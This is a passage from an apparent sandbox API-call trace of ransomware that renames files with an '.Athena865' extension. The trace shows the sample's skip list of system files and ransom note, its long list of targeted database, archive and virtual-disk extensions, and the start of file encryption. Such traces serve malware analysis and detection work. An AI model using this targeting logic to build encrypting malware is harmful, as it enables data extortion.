nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".") returned 1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="..") returned 1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="windows") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="bootmgr") returned 1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="temp") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="pagefile.sys") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="boot") returned 1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="ids.txt") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="ntuser.dat") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="perflogs") returned -1 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="MSBuild") returned -1 [0036.525] lstrlenW (lpString="fieldswitch.ax") returned 14 [0036.525] lstrcpyW (in: lpString1=0x241e87e, lpString2="fieldswitch.ax" | out: lpString1="fieldswitch.ax") returned="fieldswitch.ax" [0036.525] lstrlenW (lpString="fieldswitch.ax") returned 14 [0036.525] lstrlenW (lpString="Athena865") returned 9 [0036.525] lstrcmpiW (lpString1="switch.ax", lpString2="Athena865") returned 1 [0036.525] lstrlenW (lpString=".dll") returned 4 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".dll") returned 1 [0036.525] lstrlenW (lpString=".lnk") returned 4 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".lnk") returned 1 [0036.525] lstrlenW (lpString=".ini") returned 4 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".ini") returned 1 [0036.525] lstrlenW (lpString=".sys") returned 4 [0036.525] lstrcmpiW (lpString1="fieldswitch.ax", lpString2=".sys") returned 1 [0036.525] lstrlenW (lpString="fieldswitch.ax") returned 14 [0036.525] lstrlenW (lpString="bak") returned 3 [0036.525] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0036.525] lstrlenW (lpString="ba_") returned 3 [0036.525] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0036.525] lstrlenW (lpString="dbb") returned 3 [0036.525] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0036.525] lstrlenW (lpString="vmdk") returned 4 [0036.526] lstrcmpiW (lpString1="h.ax", lpString2="vmdk") returned -1 [0036.526] lstrlenW (lpString="rar") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0036.526] lstrlenW (lpString="zip") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0036.526] lstrlenW (lpString="tgz") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0036.526] lstrlenW (lpString="vbox") returned 4 [0036.526] lstrcmpiW (lpString1="h.ax", lpString2="vbox") returned -1 [0036.526] lstrlenW (lpString="vdi") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0036.526] lstrlenW (lpString="vhd") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0036.526] lstrlenW (lpString="vhdx") returned 4 [0036.526] lstrcmpiW (lpString1="h.ax", lpString2="vhdx") returned -1 [0036.526] lstrlenW (lpString="avhd") returned 4 [0036.526] lstrcmpiW (lpString1="h.ax", lpString2="avhd") returned 1 [0036.526] lstrlenW (lpString="db") returned 2 [0036.526] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0036.526] lstrlenW (lpString="db2") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0036.526] lstrlenW (lpString="db3") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0036.526] lstrlenW (lpString="dbf") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0036.526] lstrlenW (lpString="mdf") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0036.526] lstrlenW (lpString="mdb") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0036.526] lstrlenW (lpString="sql") returned 3 [0036.526] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0036.526] lstrlenW (lpString="sqlite") returned 6 [0036.526] lstrcmpiW (lpString1="tch.ax", lpString2="sqlite") returned 1 [0036.526] lstrlenW (lpString="sqlite3") returned 7 [0036.526] lstrcmpiW (lpString1="itch.ax", lpString2="sqlite3") returned -1 [0036.527] lstrlenW (lpString="sqlitedb") returned 8 [0036.527] lstrcmpiW (lpString1="witch.ax", lpString2="sqlitedb") returned 1 [0036.527] lstrlenW (lpString="xml") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0036.527] lstrlenW (lpString="$er") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0036.527] lstrlenW (lpString="4dd") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0036.527] lstrlenW (lpString="4dl") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0036.527] lstrlenW (lpString="^^^") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0036.527] lstrlenW (lpString="abs") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0036.527] lstrlenW (lpString="abx") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0036.527] lstrlenW (lpString="accdb") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accdb") returned 1 [0036.527] lstrlenW (lpString="accdc") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accdc") returned 1 [0036.527] lstrlenW (lpString="accde") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accde") returned 1 [0036.527] lstrlenW (lpString="accdr") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accdr") returned 1 [0036.527] lstrlenW (lpString="accdt") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accdt") returned 1 [0036.527] lstrlenW (lpString="accdw") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accdw") returned 1 [0036.527] lstrlenW (lpString="accft") returned 5 [0036.527] lstrcmpiW (lpString1="ch.ax", lpString2="accft") returned 1 [0036.527] lstrlenW (lpString="adb") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0036.527] lstrlenW (lpString="adb") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0036.527] lstrlenW (lpString="ade") returned 3 [0036.527] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0036.528] lstrlenW (lpString="adf") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0036.528] lstrlenW (lpString="adn") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0036.528] lstrlenW (lpString="adp") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0036.528] lstrlenW (lpString="alf") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0036.528] lstrlenW (lpString="ask") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0036.528] lstrlenW (lpString="btr") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0036.528] lstrlenW (lpString="cat") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0036.528] lstrlenW (lpString="cdb") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0036.528] lstrlenW (lpString="ckp") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0036.528] lstrlenW (lpString="cma") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0036.528] lstrlenW (lpString="cpd") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0036.528] lstrlenW (lpString="dacpac") returned 6 [0036.528] lstrcmpiW (lpString1="tch.ax", lpString2="dacpac") returned 1 [0036.528] lstrlenW (lpString="dad") returned 3 [0036.528] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0036.528] lstrlenW (lpString="dadiagrams") returned 10 [0036.528] lstrcmpiW (lpString1="dswitch.ax", lpString2="dadiagrams") returned 1 [0036.528] lstrlenW (lpString="daschema") returned 8 [0036.528] lstrcmpiW (lpString1="witch.ax", lpString2="daschema") returned 1 [0036.528] lstrlenW (lpString="db-journal") returned 10 [0036.528] lstrcmpiW (lpString1="dswitch.ax", lpString2="db-journal") returned 1 [0036.528] lstrlenW (lpString="db-shm") returned 6 [0036.528] lstrcmpiW (lpString1="tch.ax", lpString2="db-shm") returned 1 [0036.528] lstrlenW (lpString="db-wal") returned 6 [0036.528] lstrcmpiW (lpString1="tch.ax", lpString2="db-wal") returned 1 [0036.528] lstrlenW (lpString="dbc") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0036.529] lstrlenW (lpString="dbs") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0036.529] lstrlenW (lpString="dbt") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0036.529] lstrlenW (lpString="dbv") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0036.529] lstrlenW (lpString="dbx") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0036.529] lstrlenW (lpString="dcb") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0036.529] lstrlenW (lpString="dct") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dct") returned -1 [0036.529] lstrlenW (lpString="dcx") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dcx") returned -1 [0036.529] lstrlenW (lpString="ddl") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="ddl") returned -1 [0036.529] lstrlenW (lpString="dlis") returned 4 [0036.529] lstrcmpiW (lpString1="h.ax", lpString2="dlis") returned 1 [0036.529] lstrlenW (lpString="dp1") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dp1") returned -1 [0036.529] lstrlenW (lpString="dqy") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dqy") returned -1 [0036.529] lstrlenW (lpString="dsk") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dsk") returned -1 [0036.529] lstrlenW (lpString="dsn") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dsn") returned -1 [0036.529] lstrlenW (lpString="dtsx") returned 4 [0036.529] lstrcmpiW (lpString1="h.ax", lpString2="dtsx") returned 1 [0036.529] lstrlenW (lpString="dxl") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="dxl") returned -1 [0036.529] lstrlenW (lpString="eco") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="eco") returned -1 [0036.529] lstrlenW (lpString="ecx") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="ecx") returned -1 [0036.529] lstrlenW (lpString="edb") returned 3 [0036.529] lstrcmpiW (lpString1=".ax", lpString2="edb") returned -1 [0036.530] lstrlenW (lpString="epim") returned 4 [0036.530] lstrcmpiW (lpString1="h.ax", lpString2="epim") returned 1 [0036.530] lstrlenW (lpString="fcd") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fcd") returned -1 [0036.530] lstrlenW (lpString="fdb") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fdb") returned -1 [0036.530] lstrlenW (lpString="fic") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fic") returned -1 [0036.530] lstrlenW (lpString="flexolibrary") returned 12 [0036.530] lstrcmpiW (lpString1="eldswitch.ax", lpString2="flexolibrary") returned -1 [0036.530] lstrlenW (lpString="fm5") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fm5") returned -1 [0036.530] lstrlenW (lpString="fmp") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fmp") returned -1 [0036.530] lstrlenW (lpString="fmp12") returned 5 [0036.530] lstrcmpiW (lpString1="ch.ax", lpString2="fmp12") returned -1 [0036.530] lstrlenW (lpString="fmpsl") returned 5 [0036.530] lstrcmpiW (lpString1="ch.ax", lpString2="fmpsl") returned -1 [0036.530] lstrlenW (lpString="fol") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fol") returned -1 [0036.530] lstrlenW (lpString="fp3") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fp3") returned -1 [0036.530] lstrlenW (lpString="fp4") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fp4") returned -1 [0036.530] lstrlenW (lpString="fp5") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fp5") returned -1 [0036.530] lstrlenW (lpString="fp7") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fp7") returned -1 [0036.530] lstrlenW (lpString="fpt") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="fpt") returned -1 [0036.530] lstrlenW (lpString="frm") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="frm") returned -1 [0036.530] lstrlenW (lpString="gdb") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0036.530] lstrlenW (lpString="gdb") returned 3 [0036.530] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0036.531] lstrlenW (lpString="grdb") returned 4 [0036.531] lstrcmpiW (lpString1="h.ax", lpString2="grdb") returned 1 [0036.531] lstrlenW (lpString="gwi") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="gwi") returned -1 [0036.531] lstrlenW (lpString="hdb") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="hdb") returned -1 [0036.531] lstrlenW (lpString="his") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="his") returned -1 [0036.531] lstrlenW (lpString="ib") returned 2 [0036.531] lstrcmpiW (lpString1="ax", lpString2="ib") returned -1 [0036.531] lstrlenW (lpString="idb") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="idb") returned -1 [0036.531] lstrlenW (lpString="ihx") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="ihx") returned -1 [0036.531] lstrlenW (lpString="itdb") returned 4 [0036.531] lstrcmpiW (lpString1="h.ax", lpString2="itdb") returned -1 [0036.531] lstrlenW (lpString="itw") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="itw") returned -1 [0036.531] lstrlenW (lpString="jet") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="jet") returned -1 [0036.531] lstrlenW (lpString="jtx") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="jtx") returned -1 [0036.531] lstrlenW (lpString="kdb") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="kdb") returned -1 [0036.531] lstrlenW (lpString="kexi") returned 4 [0036.531] lstrcmpiW (lpString1="h.ax", lpString2="kexi") returned -1 [0036.531] lstrlenW (lpString="kexic") returned 5 [0036.531] lstrcmpiW (lpString1="ch.ax", lpString2="kexic") returned -1 [0036.531] lstrlenW (lpString="kexis") returned 5 [0036.531] lstrcmpiW (lpString1="ch.ax", lpString2="kexis") returned -1 [0036.531] lstrlenW (lpString="lgc") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="lgc") returned -1 [0036.531] lstrlenW (lpString="lwx") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="lwx") returned -1 [0036.531] lstrlenW (lpString="maf") returned 3 [0036.531] lstrcmpiW (lpString1=".ax", lpString2="maf") returned -1 [0036.531] lstrlenW (lpString="maq") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="maq") returned -1 [0036.532] lstrlenW (lpString="mar") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mar") returned -1 [0036.532] lstrlenW (lpString="marshal") returned 7 [0036.532] lstrcmpiW (lpString1="itch.ax", lpString2="marshal") returned -1 [0036.532] lstrlenW (lpString="mas") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mas") returned -1 [0036.532] lstrlenW (lpString="mav") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mav") returned -1 [0036.532] lstrlenW (lpString="maw") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="maw") returned -1 [0036.532] lstrlenW (lpString="mdbhtml") returned 7 [0036.532] lstrcmpiW (lpString1="itch.ax", lpString2="mdbhtml") returned -1 [0036.532] lstrlenW (lpString="mdn") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mdn") returned -1 [0036.532] lstrlenW (lpString="mdt") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mdt") returned -1 [0036.532] lstrlenW (lpString="mfd") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mfd") returned -1 [0036.532] lstrlenW (lpString="mpd") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mpd") returned -1 [0036.532] lstrlenW (lpString="mrg") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mrg") returned -1 [0036.532] lstrlenW (lpString="mud") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mud") returned -1 [0036.532] lstrlenW (lpString="mwb") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="mwb") returned -1 [0036.532] lstrlenW (lpString="myd") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="myd") returned -1 [0036.532] lstrlenW (lpString="ndf") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="ndf") returned -1 [0036.532] lstrlenW (lpString="nnt") returned 3 [0036.532] lstrcmpiW (lpString1=".ax", lpString2="nnt") returned -1 [0036.532] lstrlenW (lpString="nrmlib") returned 6 [0036.532] lstrcmpiW (lpString1="tch.ax", lpString2="nrmlib") returned 1 [0036.532] lstrlenW (lpString="ns2") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="ns2") returned -1 [0036.533] lstrlenW (lpString="ns3") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="ns3") returned -1 [0036.533] lstrlenW (lpString="ns4") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="ns4") returned -1 [0036.533] lstrlenW (lpString="nsf") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="nsf") returned -1 [0036.533] lstrlenW (lpString="nv") returned 2 [0036.533] lstrcmpiW (lpString1="ax", lpString2="nv") returned -1 [0036.533] lstrlenW (lpString="nv2") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="nv2") returned -1 [0036.533] lstrlenW (lpString="nwdb") returned 4 [0036.533] lstrcmpiW (lpString1="h.ax", lpString2="nwdb") returned -1 [0036.533] lstrlenW (lpString="nyf") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="nyf") returned -1 [0036.533] lstrlenW (lpString="odb") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0036.533] lstrlenW (lpString="odb") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0036.533] lstrlenW (lpString="oqy") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="oqy") returned -1 [0036.533] lstrlenW (lpString="ora") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="ora") returned -1 [0036.533] lstrlenW (lpString="orx") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="orx") returned -1 [0036.533] lstrlenW (lpString="owc") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="owc") returned -1 [0036.533] lstrlenW (lpString="p96") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="p96") returned -1 [0036.533] lstrlenW (lpString="p97") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="p97") returned -1 [0036.533] lstrlenW (lpString="pan") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="pan") returned -1 [0036.533] lstrlenW (lpString="pdb") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="pdb") returned -1 [0036.533] lstrlenW (lpString="pdm") returned 3 [0036.533] lstrcmpiW (lpString1=".ax", lpString2="pdm") returned -1 [0036.533] lstrlenW (lpString="pnz") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="pnz") returned -1 [0036.534] lstrlenW (lpString="qry") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="qry") returned -1 [0036.534] lstrlenW (lpString="qvd") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="qvd") returned -1 [0036.534] lstrlenW (lpString="rbf") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="rbf") returned -1 [0036.534] lstrlenW (lpString="rctd") returned 4 [0036.534] lstrcmpiW (lpString1="h.ax", lpString2="rctd") returned -1 [0036.534] lstrlenW (lpString="rod") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="rod") returned -1 [0036.534] lstrlenW (lpString="rodx") returned 4 [0036.534] lstrcmpiW (lpString1="h.ax", lpString2="rodx") returned -1 [0036.534] lstrlenW (lpString="rpd") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="rpd") returned -1 [0036.534] lstrlenW (lpString="rsd") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="rsd") returned -1 [0036.534] lstrlenW (lpString="sas7bdat") returned 8 [0036.534] lstrcmpiW (lpString1="witch.ax", lpString2="sas7bdat") returned 1 [0036.534] lstrlenW (lpString="sbf") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="sbf") returned -1 [0036.534] lstrlenW (lpString="scx") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="scx") returned -1 [0036.534] lstrlenW (lpString="sdb") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="sdb") returned -1 [0036.534] lstrlenW (lpString="sdc") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="sdc") returned -1 [0036.534] lstrlenW (lpString="sdf") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="sdf") returned -1 [0036.534] lstrlenW (lpString="sis") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="sis") returned -1 [0036.534] lstrlenW (lpString="spq") returned 3 [0036.534] lstrcmpiW (lpString1=".ax", lpString2="spq") returned -1 [0036.534] lstrlenW (lpString="te") returned 2 [0036.534] lstrcmpiW (lpString1="ax", lpString2="te") returned -1 [0036.534] lstrlenW (lpString="teacher") returned 7 [0036.535] lstrcmpiW (lpString1="itch.ax", lpString2="teacher") returned -1 [0036.535] lstrlenW (lpString="tmd") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="tmd") returned -1 [0036.535] lstrlenW (lpString="tps") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="tps") returned -1 [0036.535] lstrlenW (lpString="trc") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0036.535] lstrlenW (lpString="trc") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0036.535] lstrlenW (lpString="trm") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="trm") returned -1 [0036.535] lstrlenW (lpString="udb") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="udb") returned -1 [0036.535] lstrlenW (lpString="udl") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="udl") returned -1 [0036.535] lstrlenW (lpString="usr") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="usr") returned -1 [0036.535] lstrlenW (lpString="v12") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="v12") returned -1 [0036.535] lstrlenW (lpString="vis") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="vis") returned -1 [0036.535] lstrlenW (lpString="vpd") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="vpd") returned -1 [0036.535] lstrlenW (lpString="vvv") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="vvv") returned -1 [0036.535] lstrlenW (lpString="wdb") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="wdb") returned -1 [0036.535] lstrlenW (lpString="wmdb") returned 4 [0036.535] lstrcmpiW (lpString1="h.ax", lpString2="wmdb") returned -1 [0036.535] lstrlenW (lpString="wrk") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="wrk") returned -1 [0036.535] lstrlenW (lpString="xdb") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="xdb") returned -1 [0036.535] lstrlenW (lpString="xld") returned 3 [0036.535] lstrcmpiW (lpString1=".ax", lpString2="xld") returned -1 [0036.535] lstrlenW (lpString="xmlff") returned 5 [0036.535] lstrcmpiW (lpString1="ch.ax", lpString2="xmlff") returned -1 [0036.536] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\fieldswitch.ax.Athena865") returned 51 [0036.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.athena865"), dwFlags=0x1) returned 1 [0036.537] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0036.537] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41472) returned 1 [0036.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0036.537] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0036.538] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.538] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.538] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa500, lpName=0x0) returned 0x154 [0036.539] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa500) returned 0x100000 [0036.542] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0036.543] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.543] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0036.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0036.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0036.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0036.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: 